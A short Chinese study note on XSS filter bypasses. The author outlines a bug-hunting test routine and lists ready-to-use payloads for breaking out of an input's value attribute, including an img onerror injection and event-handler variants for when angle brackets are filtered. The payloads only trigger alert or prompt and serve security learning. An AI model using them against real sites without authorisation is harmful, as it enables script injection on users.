xss bypass 学习记录

0x01杂言

晚上看了一下bypass 的一些套路，罗列了一下各种情况的payload好让挖洞可以直接用，看着看着就被朋友拉去挖洞了。。。当然也是针对xss
这里先总结下几种测试情况，以及挖洞过程测试xss的步骤方法。。。当然我之前挖到的xss都是没有waf的情况属于随缘挖洞，一些高级的bypass技巧在挖洞过程中的应用还是希望和大家探讨

0x02 我的xss测试步骤

首先输入常规的标签 看看输出位置 ，看看对常规的标签的过滤，再试试<a这种是否过滤尖括号
再看看其他的。。。

0x03结合具体输出场景

<input value="" type=text>

比如这种在value中的输出

<input value="XSStest" type=text>
"><img src=x onerror=prompt(0);>

过滤尖括号

" autofocus onfocus=alert(1)//   
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="

睡觉睡觉